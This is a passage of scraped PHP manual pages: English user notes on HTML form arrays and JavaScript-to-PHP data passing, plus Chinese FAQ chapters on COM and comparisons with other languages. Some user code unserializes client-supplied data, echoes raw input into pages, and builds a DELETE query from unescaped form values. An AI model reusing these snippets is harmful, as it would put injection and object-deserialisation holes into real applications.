   if ($key==$getkey && $value!=NULL)
     $results[] = urldecode($value);
  }
  return $results;
}

then you can invoke this method thusly:

  getQueryBits($_SERVER['QUERY_STRING'], 'foo');

For example, on ?foo=1&foo=2&wibble&foo this will return an array with two elements, "1" and "2"
noah at noah dot org
11-May-2005 01:10
In your action, "random_picker_action.php"
shouldn't you initialize $picks? The code didn't work
for me until I added the line:
   $picks = $_REQUEST['picks'];

Here is the full random_picker_action.php

Yours,
Noah

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
   <title>How to Pass an Array from Javascript to PHP: Action Page</title>
  <!-- File: random_picker_action.php -->
</head>
<body>
<p>
<h3>How to Pass an Array from Javascript to PHP: Action Page</h3>
<?php
  $picks = $_REQUEST['picks'];
  $picks = urldecode(stripslashes($picks));
  echo "<b>JavaScript said: " . $picks . "</b><p>";
  $picks = unserialize($picks);
  if(sizeof($picks) > 0)
  {
   reset($picks);
   echo "You picked the following items:<p>";
   while($item = each($picks))
     echo  $item['value'] . " off, " . str_replace("_", " ", $item['key']) . "<br>";
  }
  else
   echo "You did not pick any items<p>";
?>
</body>
</html>
richard dot prangnell at ntlworld dot com
28-Feb-2005 01:09
Further to my note posted on  26-Feb-2005 at 04:44, I have refined the JavaScript function "send_picks()" to make it more robust and universal. The original version was designed to handle string keys and +ve integer key values only; fine for the original purpose of handling random picks for a shopping cart application but it produced a mal-formed array if any -ve or non-integer key values were submitted. The new version treats both keys and key values as strings, irrespective of the data type; and we all know just how easy it is to manipulate numeric strings as numbers in PHP:-). Key values can now be anything you like; including:
"5"
"2 dozen"
"A gross"
"12.5"
"blue"
and so forth. Here's the updated code:

   <script type="text/javascript">
     function send_picks()
     {
       form1.picks.value="";
       var e, picked = 0;
       for (var i = 0 ; i < form1.elements.length - 2; i++)
       {
         e = form1.elements[i];
         if(e.value != "0" && e.value.length > 0)
         {
           e = form1.elements[i]
           picked++;
               form1.picks.value = form1.picks.value + "s:"
             + e.name.length + ":\"" + e.name + "\";s:"
             + e.value.length + ":\"" + e.value + "\";";
         }
       }
       form1.picks.value = "a:" + picked + ":{" + form1.picks.value + "}";
     }
   </script>

Note the line:
       for (var i = 0 ; i < form1.elements.length - 2; i++)
The  "-2" term is to let the function skip the last 2 elements in the form, a "hidden" input and the "submit" button. No doubt different form layouts will need a different value here.
An incidental bonus is that getting JavaScript to process a floating point input as a string rather than a number avoids the usual rounding errors that tend to turn an input such as "1.2" into a number beginning 1.199999... with about 30 places of decimals - yes, its JavaScript rather than PHP that is responsible for this kind of behaviour.
richard dot prangnell at ntlworld dot com
27-Feb-2005 12:44
The following HTML form page and PHP action page illustrate an elegant and powerful client side JavaScript to server side PHP data transfer technique perfectly matched to PHP's associative array feature. Browse to the form page and select some items by entering an INTEGER > 1 then click on Submit (Don't put strings or reals in the input fields - error trapping has been stripped out for brevity). Try selecting one, some, all or none of the items, changing the names of the form input variables (and the associated labels, for clarity!) or adding to the number of items "on offer". At no point do you need to alter either the JavaScript function or the action page in any way - just be aware that extra coding and error trapping is required - especially where the key values in the application could be something other than integers:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
   <title>How to Pass an Array from Javascript to PHP: Form Page</title>
  <!-- File: random_picker.php -->
   <script type="text/javascript">
     function send_picks()
     {
       form1.picks.value="";
       var picked = 0;
       for (var i = 0 ; i < form1.elements.length; i++)
       {
         if(form1.elements[i].value > 0)
         {
           e = form1.elements[i]
           picked++;
               form1.picks.value = form1.picks.value + "s:" + e.name.length + ":\""
           + e.name + "\";i:" + e.value + ";";

         }
       }
       form1.picks.value = "a:" + picked + ":{" + form1.picks.value + "}";
     }
   </script>
</head>
<body>
<p>
<h3 align="center">How to Pass an Array from Javascript to PHP: Form Page</h3>
<form name="form1" action="random_picker_action.php" method="post"
  onsubmit="JavaScript:send_picks()">
<table align="center" border="1" cellpadding="5" cellspacing="0">
  <tr><td>Item 13</td>
  <td><input type="text" name="item_13" value="0" size="4"></td>
  </tr>
  <tr><td>Part number 2</td>
  <td><input type="text" name="Part_number_2" value="0" size="4"></td>
  </tr>
  <tr><td>Drawing ref 327</td>
  <td><input type="text" name="Drawing_ref_327" value="0" size="4"></td>
  </tr>
  <tr><td>Organic Carrots</td>
  <td><input type="text" name="Organic_carrots" value="0" size="4"></td>
  </tr>
  <tr><td colspan="2" align="center">
     <input type="submit" value="Submit Picks">
     <input type="hidden" name="picks" value=""></td>
  </tr>
</table>
</form>
</body>
</html>

The action page for the above form page is listed below. Notice the really ingenious feature; the form variable is simply unserialized  to turn it into a fully functional PHP array! The action page doesn't need to know anything about "expected" variable names because everything PHP needs to know is right inside the array. Note also that for maximum efficiency only "picked" item data is sent. If no items at all are picked, a perfectly formed empty array is sent:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
   <title>How to Pass an Array from Javascript to PHP: Action Page</title>
  <!-- File: random_picker_action.php -->
</head>
<body>
<p>
<h3>How to Pass an Array from Javascript to PHP: Action Page</h3>
<?php
  $picks = urldecode(stripslashes($picks));
  echo "<b>JavaScript said: " . $picks . "</b><p>";
  $picks = unserialize($picks);
  if(sizeof($picks) > 0)
  {
   reset($picks);
   echo "You picked the following items:<p>";
   while($item = each($picks))
     echo  $item['value'] . " off, " . str_replace("_", " ", $item['key']) . "<br>";
  }
  else
   echo "You did not pick any items<p>";
?>
</body>
</html>

I hope you find this technique useful - let me know what you think - I can already hear the jaws of Java Jocks dropping!
alberto dot delatorre at gmail dot com
16-Jan-2005 03:41
Other way to make a form with array fields, and use JavaScript features on them, is use both name and id attributes on the field as:

<input type="text" name="myfield[]" id="myfield1"/>
<input type="text" name="myfield[]" id="myfield2"/>
<script language="JavaScript">
document.getElementById("myfield1");
document.getElementById("myfield2");
</script>

This is an easy way to do it. To number the fields, do a simple for structure and you have done.
dreptack at op dot pl
03-Jan-2005 04:37
I needed to post html form through image input element. But my problem was I had to use multiple image-buttons, each one for a single row of form table. Pressing the button was mention to tell script to delete this row from table and also (in the same request) save other data from the form table.
I wrote simple test-script to see what variable I should check for in a script:

I have a html document:

<form action="test.php" method="post">
<input type="image" name="varscalar" src="/images/no.gif" />
<input type="image" name="vararray[12]" src="/images/no.gif" />
</form>

And a php script:
<?php
  if ($_POST) {
   echo "post: <pre>"; print_r($_POST); echo '</pre>';
  }
?>

What I've discovered suprised me a lot!

After hitting on varscalar:

post:
Array
(
   [varscalar_x] => 6
   [varscalar_y] => 7
)

After hitting on upper right corner of vararray:

post:
Array
(
   [vararray] => Array
       (
           [12] => 2
       )

)

This mean when clicking on image-type input element, which name is an array, only y-part of a value is remembered.

The result is the same on: php 4.1.2 on Win98se, php 4.3.9-1 on linux
seec77 at zahav dot net dot il
22-Dec-2004 07:35
Another unfortunate result of appending "[]" to input field names to pass form data in arrays to PHP, is that people will be able to detect you are running PHP. You can tell by the whole documentation section on hiding PHP, that some people might not want the public to know their site is generated with PHP (usually for security reasons), but the "[]" will blow your cover.
So beware! If you are trying to hide PHP, you will have to stay away from passing form data as arrays!
Karen
05-Aug-2004 08:38
I am using code I got from SitePoint that uses stripslashes because of magic quotes...I finally figured out that it kept my html form select multiple field from working correctly even though I was using name="arrName[]" as the field name -- I was only getting the word array as the value, and all the things I tried there was nothing else there. The stripslashes was part of an included include file, so it took me hours to debug.  Hopefully this will help keep others from wasting time.
Jim Granger
19-Jun-2004 01:11
Kenn White wrote:

So for XHTML strict, the bottom line:
 1. form, use id, not name
 2. input, use id if you can, but if you need to use bracketed notation (for example, passing PHP arrays), i.e., foo[], you *MUST* use name for XHTML strict validation.

I don't think they are going to deprecate name entirely. For one thing, to be of any use, radio boxes and occasionally checkboxes must have the same identifying mark, in this case a name. By the rules of the DTD, id's MUST be unique. In that respect, it is probably better to not use id in input elements at all.

Of course, it's a good idea to use ids as sparingly as possible.
ppmm at wuxinan dot net
14-Jun-2004 07:11
3. How do I create arrays in a HTML <form>?

The feature is nice in the sense of simplifying programming. However, this does have side-effect. Look at this URL below:

http://www.php.net/source.php?url[]=/index.php

As a common viewpoint, exposing the absolute filesystem path in the webpage is always a bad thing. I reported this problem at bugs.php.net a few days before and I get a response saying "it's up to programmers". I think it's fair, however, webmaster should really learn to check the variables at the beginning of the script. In the above case, the PHP script should at least check like this:

if (!is_string(url)) die("with some error message");

As what I experienced, many PHP-based websites have this problem. I would think a perfect solution is that PHP does not do this automatic parsing, and when a PHP script expects an array to be posted, they would do something like

parse_http_array($_GET, "url");

only after this point, $_GET['url']) exists. Before this statement, only $_GET['url[]'] is available. Well, I am kind of too demanding I guess, but what I really intended to say is that webmaster should know this problem.
vlad at vkelman dot com
05-Jun-2004 10:04
"4.  How do I get all the results from a select multiple HTML tag?"

I think that behavior of PHP which forces to use [] after a name of 'select' control with multiple attribute specified is very unfortunate. I understand it comes from old times when registerglobals = on was commonly used. But it creates incompatibility between PHP and ASP or other server-side scripting languages. The same HTML page with 'select' control cannot post to PHP and ASP server pages, because ASP does not require [] and automatically recognize when arrays are posted.
Kenn White kennwhite dot nospam at hotmail dot com
14-Mar-2004 12:18
Concerning XHTML Strict and array notation in forms, hopefully the information below will be useful:

If I have a form, name="f", and, say, an input text box, name="user_data[Password]", then in Javascript, to reference it I would do something like:

var foo = f['user_data[Password]'].value;

Now, say that in making the switch to XHTML strict, I decide to fully embrace standards compliance, and change my form to id="f", and the input text box to id="user_data[Password]"

Because these have id instead of name, I discover, that all my javascript validation routines just broke.  It seems that I have to now change all my js code to something like:

document.getElementById( 'user_data[Password]' ).focus();

I test this on all the major modern browsers, and it works well.  I'm thinking, Great!  Until I try to validate said page.  It turns out that the bracket characters are invalid in id attributes.  Ack!  So I read this thread:

http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=
UTF-8&th=78dea36fd65d9bbe&seekm=
pqx99.19%24006.13377%40news.ca.inter.net#link11
(link needs to be spliced, sorry)

What does this mean, I start asking myself?  Do I have to abandon my goal to migrate to XHTML strict?  Transitional seems so unsatisfying.  And why bother with a technique that seems to work on most browsers, if it's broken.  Alas, there is hope.

But then I read http://www.w3.org/TR/xhtml1/#h-4.10 carefully.  It says "name" is deprecated as a form attribute, but *NOT* specifically as an attribute in form *elements*.  It seems my solution is to use "id" for the form itself, but I can legally use "name" for the individual form components, such as select and text input boxes.  I get the impression that "name" as an attribute is eventually going away completely, but in extensive testing using the W3C validator, it passes "name" on form components, as long as "id" (or, strangely, nothing) is used to denote the form itself.

So for XHTML strict, the bottom line:
 1. form, use id, not name
 2. input, use id if you can, but if you need to use bracketed notation (for example, passing PHP arrays), i.e., foo[], you *MUST* use name for XHTML strict validation.

-kenn

kennwhite.nospam@hotmail.com
davis at risingtiger dot net
10-Jan-2004 04:14
I thought this might be useful to fellow PHP heads like myself out there.

I recently came across a need to transfer full fledged mutli-dimensional arrays from PHP to JAVASCRIPT.

So here it is and hopefuly good things come from it.

<?php
function phparray_jscript($array, $jsarray)
{
   function loop_through($array,$dimen,$localarray)
   {
       foreach($array as $key => $value)
       {
           if(is_array($value))
           {
               echo ($localarray.$dimen."[\"$key\"] = new Array();\n");
               loop_through($value,($dimen."[\"".$key."\"]"),$localarray);
           }
           else
           {
               echo ($localarray.$dimen."[\"$key\"] = \"$value\";\n");
           }
       }
   }

   echo "<script language=\"Javascript1.1\">\n";
   echo "var $jsarray = new Array();\n";
   loop_through($array,"",$jsarray);
   echo "</script>";
}
?>
email at njschedules dot com
19-Oct-2003 12:13
If you try to include an XHTML document in a PHP document, you may be including this:

<?xml version="1.0" encoding="iso-8859-1"?>

which would, of course, be read as PHP code. To avoid this problem, use:

<?php echo "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>"; ?>

Hope I can save you from those nasty warning messages :)
04-Oct-2003 06:25
Responding to the suggestion for using this line:

<form onSubmit="selection.name=selection.name + '[]'">

This did not work for me.  I had to make a function makeArray:

function makeArray(selectBox)
{
selectBox.name=selectBox.name + "[]";
}

Then, in the submit button, add this:

onClick='makeArray(this.form.selection)'

I couldn't get anything else to work.

--Rafi
jasonpb at bellsouth dot net
30-Sep-2003 02:29
Another good way for passing javascript to php without having to have a page reload is to use an img tag.

(example)
Add this where you want to collect the vars from
This can also be a .html page
<script language="javascript">
<!--//
// Define variables
if (navigator.appname != 'Netscape') {color= "color="+screen.colorDepth+"&";}
else {color = "color="+screen.pixelDepth+"&";}
avail = "avail="+screen.availwidth+"x"+screen.availheight+"&";
res = "res="+screen.width+"x"+screen.height;
isize = '" width="1" height="1" border="0"';
// Generate img tag
img = '<img name="img"
src="javascript.php?'+color+avail+res+isize+'">';
//Print it to browser
document.write(img);
//-->
</script>

Now you have the javascript vars passed along to the javascript.php page, all thats left is to add a couple lines of php code to gather the info up.

(example)
<?
// Get the vars from the javascript
$res = $_GET['res'];
$avail_res = $_GET['avail'];
$color_depth = $_GET['color'];
// Do something with the info
echo "You Screen's Resolution is $res, Your Available Screen Resolution is $avail_res, and the Color Depth on your screen is $color_depth.";
?>
Thats it!!
Hope it may help someone!
martellare at hotmail dot com
16-Mar-2003 04:28
I do not think you are right about not being able to specify something for the value attribute, but I can see where you would have thought it would fail:

A fair warning about testing to see if a variable exists...
when it comes to strings, the values '' and '0' are interpreted as false when tested this way...

<?php
if ($string) { ... }  //false for $string ==  || $string == 0
?>

The best practice for testing to see if you received a variable from the form (which in the case of a checkbox, only happens when it is checked) is to test using this...

<?php
if ( isSet($string) ) { ... } //true if and only if the variable is set
?>

The function tests to see if the variable has been set, regardless of its contents.

By the way, if anyone's curious, when you do make a checkbox without specifying the value attribute, the value sent from the form for that checkbox becomes on.  (That's for HTML in general, not PHP-specific).
josh at NO chatgris SPAM dot com
15-Jan-2003 06:18
For those of you familiar with ASP or apache aprea_request_params_as_string, this function should be very welcome to you to turn things like

<input type="hidden" name="selected_category_ids[]" value="1">
<input type="hidden" name="selected_category_ids[]" value="4">
<input type="hidden" name="selected_category_ids[]" value="5">
<input type="hidden" name="selected_category_ids[]" value="6">
<input type="hidden" name="selected_category_ids[]" value="7">

into

1, 4, 5, 6, 7

To use it, pass the name from html into this function, WITH the []'s (you can remove the log_func from this function if you want).

Basically, this functgion checks for a [] at the end of the string.  If it's there, it converts it to a comma delimited string, if not, it returns the value as normal.

<?php
function getBlindFormData( $form_name ) {
     if ( !is_string( $form_name ) ) {
       $this->{$this->log_func} ( "File: %s. Line: %d. \$form_name is NOT a string.", __FILE__, __LINE__ );
   }

   $offs = strlen( $form_name ) - 2;
   if ( strpos ( $form_name, "[]", $offs ) === $offs ) {
       $form_name = substr( $form_name, 0, $offs );
       $isarray = 1;
   } else {
       $isarray = 0;
   }

   if ( isset( $_GET[$form_name] ) ) {
       $request = $_GET[$form_name];
   }

   if ( isset( $_POST[$form_name] ) ) {
       $request = $_POST[$form_name];
   }

   $ret = NULL;
   if ( isset( $request ) ) {
       if ( $isarray ) {
       $ret = $request[0];
       for ( $i = 1; $i < count( $request ); $i++ ) {
         $ret .= ", ".$request[$i];
       }
     } else {
       $ret = $request;
     }
   }

   return $ret;
  }
?>

Usage could be as follows

To select a comma delimited list of values.

<?php
$sql = sprintf( "DELETE FROM categories\n"
                     .    "  WHERE category_id IN ( %s );\n"

                     , $wrapper->getRequiredFormData( "selected_category_ids[]" ) );
?>

or just $wrapper->getOptionalFormData( "category_id" ); for retrieval of a normal http variable.

Any questions, problems, bugs you find in this email me at the abvoe email address. (remove the NO before chatgris and the SPAM after chatgris etc.)
martellare at hotmail dot com
27-Nov-2002 03:25
A JavaScript Note: Using element indexes to reference form elements can cause problems when you want to add new elements to your form; it can shift the indexes of the elements that are already there.

For example, You've got an array of checkboxes that exist at the beginning of a form:
===================

<FORM>
   <INPUT type="checkbox" name="fruits[]" value="apple">apple
   <INPUT type="checkbox" name="fruits[]" value="orange">orange
   <INPUT type="checkbox" name="fruits[]" value="banana">banana
</FORM>

===================
... These elements could be referenced in JavaScript like so:
===================

<SCRIPT language="JavaScript" type="text/javascript">
<!--
   var index = 0; //could be 1 or 2 as well
   alert(document.forms[0].elements[index]);
//-->
</SCRIPT>

===================
However, if you added a new textbox before these elements, the checkboxes indexes become 1 - 3 instead of 0 - 2;  That can mess up what ever code you create depending on those indexes.

Instead, try referencing your html arrays in JavaScript this way.  I know it works in Netscape 4 & IE 6, I hope it to some extent is universal...
===================

<SCRIPT language="JavaScript" type="text/javascript">
<!--
   var message = "";
   for (var i = 0; i < document.forms[0].elements['fruits[]'].length; i++)
   {
       message += "events[" + i + "]: " + document.forms[0].elements['fruits[]'][i].value + "\n";
   }
   alert(message);
//-->
</SCRIPT>

===================
karatidt at web dot de
18-Nov-2002 04:57
this code selects all elements with javascript
and hands them over to an array in php *sorry my english is not good*

javascript:

<script language="JavaScript">
<!--
function SelectAll(combo)
 {
   for (var i=0;i<combo.options.length;i++)
   {
     combo.options[i].selected=true;
   }
 }
//-->
</script>

html code:
<form name="form" action="<?php echo $_SERVER["PHP_SELF"]; ?>" method="post">
<select name="auswahl[]" size="10" multiple>
<option value="bill@ms.com">Bill Gates</option>
<option value="bill@unemployed.com">Bill Clinton</option>
<option value="bart@brat.com">Bart Simpson</option>
<option value="oj@free.com">OJ Simpson</option>
<option value="j@nbc.com">Jay Leno</option>
</select>

<input type="submit" name="submit1"  value="OK" onclick="SelectAll(document.form.elements['auswahl[]'])">
</form>

php code:

$auswahl = $_POST["auswahl"];

foreach ($auswahl as $value)
   {
       echo $value."<br>";
   }
bas at cipherware dot nospam dot com
18-Oct-2002 12:52
Ad 3. "How do I create arrays in a HTML <form>?":

You may have problems to access form elements, which have [] in their name, from JavaScript. The following syntax works in IE and Mozilla (Netscape).

index = 0;
theForm = document.forms[0];
theTextField = theForm['elementName[]'][index];
hjncom at hjncom dot net
25-May-2002 06:30
I think '[' and ']' are valid characters for name attributes.

http://www.w3.org/TR/html401/interact/forms.html#h-17.4
-> InputType of 'name' attribute is 'CDATA'(not 'NAME' type)

http://www.w3.org/TR/html401/types.html#h-6.2
-> about CDATA('name' attribute is not 'NAME' type!)
...CDATA is a sequence of characters from the document character set and may include character entities...

http://www.w3.org/TR/html401/sgml/entities.html
--> about character entity references in HTML 4
([ - &#91, ] - &#93)
add a note add a note

后退 | 起点 | 前进
使用 PHP | 上一级 | PHP 和 COM


PHP 和 COM

PHP 手册
后退 前进

章 55. PHP 和 COM

PHP 可以在 Win32 平台中访问 COM 和 DCOM 对象。

1. 我建立了一个 DLL 来做某种计算。有办法在 PHP 中运行这个 DLL 吗？
2. “Unsupported variant type: xxxx (0xxxxx)”是什么意思？
3. 在 PHP 中有可能操纵可视对象吗？
4. 可以将一个 COM 对象保存在 session 中吗？
5. 怎样可以捕获 COM 的错误？
6. 我能像在 Perl 中一样从 PHP 脚本生成 DLL 文件吗？
7. “Unable to obtain IDispatch interface for CLSID {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}”是什么意思？
8. 怎样从远端服务器运行 COM 对象？
9. 我得到一个“DCOM is disabled in C:\path...\scriptname.php on line 6”信息，应该怎么办？
10. 有可能在 PHP 页面中加载／操纵 ActiveX 对象吗？
11. 有可能得到一个组件在运行中的实例吗？
12. 有办法处理 COM 对象中发送的事件吗？
13. 我在尝试调用一个打开了多于一个接口的 COM 对象中的方法时碰到问题，应该怎么办？
14. 这么说 PHP 可以和 COM 一起工作，那么 COM+ 呢？
15. 如果 PHP 可以操纵 COM 对象，那么可以设想结合 PHP 用 MTS 来管理组件资源吗？

1. 我建立了一个 DLL 来做某种计算。有办法在 PHP 中运行这个 DLL 吗？

如果这是个简单的 DLL 那么还没有办法在 PHP 中运行它。如果这个 DLL 中包含有一个 COM 服务器并且它实现了 IDispatch 接口，那有可能访问它。

2. “Unsupported variant type: xxxx (0xxxxx)”是什么意思？

有几十种 VARIANT 类型以及它们的组合。大多数已经被支持了但还有几种尚未实现。数组没有完全被支持。只有一维的仅用作索引的数组可以在 PHP 和 COM 之间传递。如果你发现其它未支持的类型，请当作一个 bug 报告（如果尚未被报告的话）并提供尽可能多的信息。

3. 在 PHP 中有可能操纵可视对象吗？

一般来说是可以的，但是 PHP 大都用来作为 web 脚本语言并运行在 web 服务器的上下文环境中，因此可视对象决不会在服务器的桌面上显示。如果你把 PHP 用作应用程序脚本例如结合 PHP-GTK 来使用，那么访问和通过 COM 来操纵可视对象方面没有限制。

4. 可以将一个 COM 对象保存在 session 中吗？

不行。COM 的实例被看作是资源，因此只在一个脚本的上下文中有效。

5. 怎样可以捕获 COM 的错误？

在 PHP 5 中，COM 扩展会发出 com_exception 异常信息，可以捕获并检查 code 成员来决定下一步的行为。

在 PHP 4 中除了用 PHP 自己提供的办法之外（@，track_errors，..）不可能捕获 COM 的错误。

6. 我能像在 Perl 中一样从 PHP 脚本生成 DLL 文件吗？

不行，PHP 没有这样的工具。

7. “Unable to obtain IDispatch interface for CLSID {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}”是什么意思？

此错误可以有多种原因：

  • 错误的 CLSID

  • 找不到所请求的 DLL

  • 所请求的组件没有实现 IDispatch 接口

8. 怎样从远端服务器运行 COM 对象？

完全和运行本地对象一样。只须将远端服务器的 IP 作为第二个变量传递给 COM 的构造函数即可。

确认在 php.ini 中设定了 com.allow_dcom =TRUE。

9. 我得到一个“DCOM is disabled in C:\path...\scriptname.php on line 6”信息，应该怎么办？

编辑 php.ini 并设定 com.allow_dcom =TRUE。

10. 有可能在 PHP 页面中加载／操纵 ActiveX 对象吗？

这不关 PHP 的事。如果在 HTML 文档中请求的话，ActiveX 对象被加载在客户端。这和 PHP 脚本没有关系，因此也不可能和服务器端发生直接的交互作用。

11. 有可能得到一个组件在运行中的实例吗？

在绰号的帮助下这有可能。如果你想得到同一个 word 实例的多个引用你可以这样建立此实例：

<?php
$word = new COM("C:\docs\word.doc");
?>

如果没有运行中的实例这将建立一个新的实例，否则将会返回正在运行中的实例的句柄，如果可用的话。

12. 有办法处理 COM 对象中发送的事件吗？

可以自定义事件收报方并且用 com_event_sink() 函数绑定之。可以用 com_print_typeinfo() 来让 PHP 产生事件收报方类的框架。

13. 我在尝试调用一个打开了多于一个接口的 COM 对象中的方法时碰到问题，应该怎么办？

我也不知道怎么办，我想这没办法。如果什么人有对此问题的明确信息请告诉我。:)

14. 这么说 PHP 可以和 COM 一起工作，那么 COM+ 呢？

COM+ 通过使用 MTS 和 MSMQ 来管理组件的框架扩展了 COM，但并没有什么特殊之处使 PHP 非要支持这样的组件。

15. 如果 PHP 可以操纵 COM 对象，那么可以设想结合 PHP 用 MTS 来管理组件资源吗？

PHP 本身还并不处理事务。因而如果出错也不会发动撤回机制。如果你使用了支持事务处理的组件那你不得不自己实现事务管理。

add a note add a note User Contributed Notes
17-Jul-2005 07:56
Re: The Windows English CHM Sample with MS Word Automation.

I see that $Word->Release() is called after $Word->Quit().
This seems to be erroneous. Actually, $Word->Release() should not have to be called if proper COM garbage collection is taking place. Release() is a C++ construction not used in either Visual Basic or VBScript or even MS-JScript. Just to be sure, however, I ran the sample through php.exe (5.04 CLI on Windows XP SP1 with Office 2003) and got a RPC failed error on the line containing $Word->Release(). The rest of the sample works fine, and the results are as expected. So, I propose 2 scenarios:
     1.There is a problem with the documentation (more likely).
     2.There is a problem with PHP504 itself, as this problem is reproduced with any COM Automation call, not just Word.
jeanpierre dot vincent at gmail dot com
03-Feb-2005 10:56
Be careful with function com_event_sink(), it doesn't totally work : when catching events, all parameters given to your callback function have the same value as the last one => see bug http://bugs.php.net/bug.php?id=31040
junk.ghost@virgin dOtt net
06-Oct-2004 12:27
It may be obvious to everyone else but...

If you want to write your own COM DLL in MSVC++6 and you want to pass it a string, you need the following in your .idl file:

HRESULT function_name([in] BSTR parameter_name,
                     [retval, out] BSTR * retval);

retval is the result of your function as a string to be passed back.

BSTR is an unsigned short *, so if you want to use your string with STL string etc. you may need to convert parameters to and from char *.

The burden of my message is that from PHP

$comThing = new COM("comThing.comThing");
print $comThing->function_name("Jeremy");

Jeremy will be marshalled as wide chars, which match BSTR.
ALAN at DONTSPAMMEE;HOGAR dot COM
17-Aug-2002 12:39
ONE SAMPLE USING MS-XML3 PARSER ON WINDOWS
<?
  $xml= new COM("Microsoft.XMLDOM");
  $xml->async=false;
  $xml->load("STYLE.xml");
  $xsl = new COM("Microsoft.XMLDOM");
  $xsl->async=false;
  $xsl->load("STYLE.xsl");
  $response=$xml->transformNode($xsl);
  print $response;
?>
add a note add a note

后退 | 起点 | 前进
PHP 和 HTML | 上一级 | PHP 和其它语言


PHP 和其它语言

PHP 手册
后退 前进

章 56. PHP 和其它语言

PHP 是 web 编程最好的语言，但其它语言怎样呢？

1. PHP 对 ASP？
2. 有 ASP 到 PHP 的转换器吗？
3. PHP 对 Cold Fusion？
4. PHP 对 Perl？

1. PHP 对 ASP？

ASP 本身并不真的是一种语言，它是 Active Server Pages 的缩写，实际上用来进行 ASP 编程的语言是 Visual Basic Script 或者 JScript。ASP 最大的缺点是它是一个专有系统而只能在 Microsoft Internet Information Server（IIS）上使用。这限制了它只能在基于 Win32 的服务器上使用。有几项进行中的计划使 ASP 可以在其它环境和 web 服务器中使用：Halcyon（商业的）的 InstantASP，Chili!Soft（商业的） 的 Chili!Soft ASP。ASP 被认为比 PHP 慢和麻烦，也不稳定。一些 ASP 的正面观点是既然它基本上用 VBScript，那如果你已经懂得用 Visual Basic 编程就会相对容易拾起这种语言。在 IIS 服务器中默认激活了 ASP 支持，这使它容易启动和运行。ASP 中内置的组件实在是很有限，因此如果需要一些“高级的”特点例如与 FTP 服务器交互，需要购买额外的组件。

2. 有 ASP 到 PHP 的转换器吗？

有，服务器端的 asp2php是最经常被提及的，还有一个选择是此客户端。

3. PHP 对 Cold Fusion？

PHP 普遍被认为对复杂的编程任务更快和更有效以及勇于尝试新主意。PHP 也通常被提及更稳定以及占用更少资源。Cold Fusion 具有更好的错误处理，数据库抽象和数据解析，尽管数据库抽象已经在 PHP 4 中解决了。另外一个被作为 Cold Fusion 的强项列出来的是它卓越的搜索引擎，但也被指出搜索引擎不是 web 脚本语言中应该包括的东西。PHP 可以在几乎每一个现有的平台下运行；Cold Fusion 只能在 Win32，Solaris，Linux 和 HP/UX 下运行。Cold Fusion 有很好的集成开发环境以及通常更容易上手，反之 PHP 则一开头就需要更多的编程知识。Cold Fusion 是为非程序员的头脑所设计，而 PHP 则聚焦于程序员。

有关此话题 Michael J Sheldon 在 PHP 邮件列表中发表了一个很棒的摘要。这里有一个拷贝 http://marc.theaimsgroup.com/?l=php-general&m=95602167412542&w=1。

4. PHP 对 Perl？

PHP 对 Perl 最大的优势就是 PHP 是为 web 脚本设计的而 Perl 则被设计用来做更多的事也因此而非常复杂。Perl 的灵活性／复杂性使得用它能很容易写出代码但却让另一个作者／编程者非常难读懂。PHP 则不容易把人搞糊涂以及具有更严谨的格式同时也不失灵活性。PHP 比 Perl 更容易集成进现有的 HTML 中去。PHP 具有差不多所有 Perl 的“好”功能：结构，语法等等，但却没有使它达到 Perl 的费解程度。Perl 是一种久经考验真正的语言，从上个世纪八十年代末起就到处都有，但是 PHP 成熟得非常快。

add a note add a note User Contributed Notes
bb at servertje dot nl
06-Jun-2006 07:58
I think it's worth to mention that it's incredible easy to write a PHP module in C and use it in your scripts with the speed of true machine language. All the PHP API functions are there and there's plenty of examples due to the many existing modules and their source codes.

The advantage here is programming the relative simple business logic in PHP and programming those core functions that really require speed in PHP modules, if you really have to.
Compiled Java classes act more like optimised / confuscated scripts and still needs an interpreter in the end.

The only disadvantage about PHP is the somewhat quirky language and inconsistant (and long) function names, which makes it hard for newbies to learn from scratch.
19-Mar-2006 12:24
There's a comma splice in this article:

Perl is a very tried and true language, it's been around since the late eighties, but PHP is maturing very quickly.

should become

Perl is a very tried and true language; it's been around since the late eighties, but PHP is maturing very quickly.
good dot midget at gmail dot com
17-Dec-2005 06:49
I think there's been a slight overlook within the comments about PHP's model for OOP.

Firstly, I was absolutely thrilled to see the enhancements of PHP5.  I've been using PHP for... gees...  a long time now.  But what's always been lacking has been fully implemented OOP.  Now, granted, there are ways to do things like method overloading, but c`mon.... really...  Now, I know the argument is that PHP is related to the web - not application development.  I believe that the PHP community today suffers from this mentality.  The fact of the matter is that the world is rapidly shifting towards an SOA mentality, and rich applications presented through the web.  In light of this PHP should be regarded as valuable tool for application development.

I would say that while PHP has tremendous strength, it equally lacks in its implementation of OOP requirements.  I find that most suggested "design patterns" are weak workarounds in PHP.  C# (.NET), Java -- hell even ActionScript have a fully OO implementation allowing effective implementation of recognized design patterns.  Futhermore, due to PHP's lack of OO support, true collaborative team development is greatly hindered.  This is particularly evidenced in the lack of strict type casting.  Legit development teams rely on this to effectively lock down their interfaces, implement error handling, etc etc etc.

I'm very dissappointed to see that languages (like C#), sponsored by the likes of M$ have been able to develop such mature OO languages so rapidly, while PHP remains... well... practically in the stone age.

Once these issues are addressed I think we'll see more support of PHP, and less resistance to its place in the enterprise.  Abstraction is a stupid thing to bicker about.  How long does it really take to write a good data abstraction layer - that can be repurposed.  What's more important is the capability of the language.

Hopefully IBM will jump in here and kick things into high gear.  Let's get rid of all the back support and compatabilities for legacy code in favor of maturing the language and increasing its value (and decreasing objections from the enterprise market)
daniel at cedilotte dot com
04-Nov-2005 01:58
Another thing related to PHP vs ASP.

In PHP, it's possible to make sure your Include files are not included more than once. Where as in ASP/VBScript, you can't due to the fact that SSI is processed before the VB code.
ahumeniy at vtr dot net
22-May-2005 12:43
I agree with Web Consultant concerning to ASP.net and .net framework. It's necessary an update to this article.

Currently, ASP.net is at the same level than PHP and, i would say that is better because i can choose what language to use (PHP is also available for .net by the way).

Thanks to it's common language runtime, .net technology allows the programer to choice wich language to use.

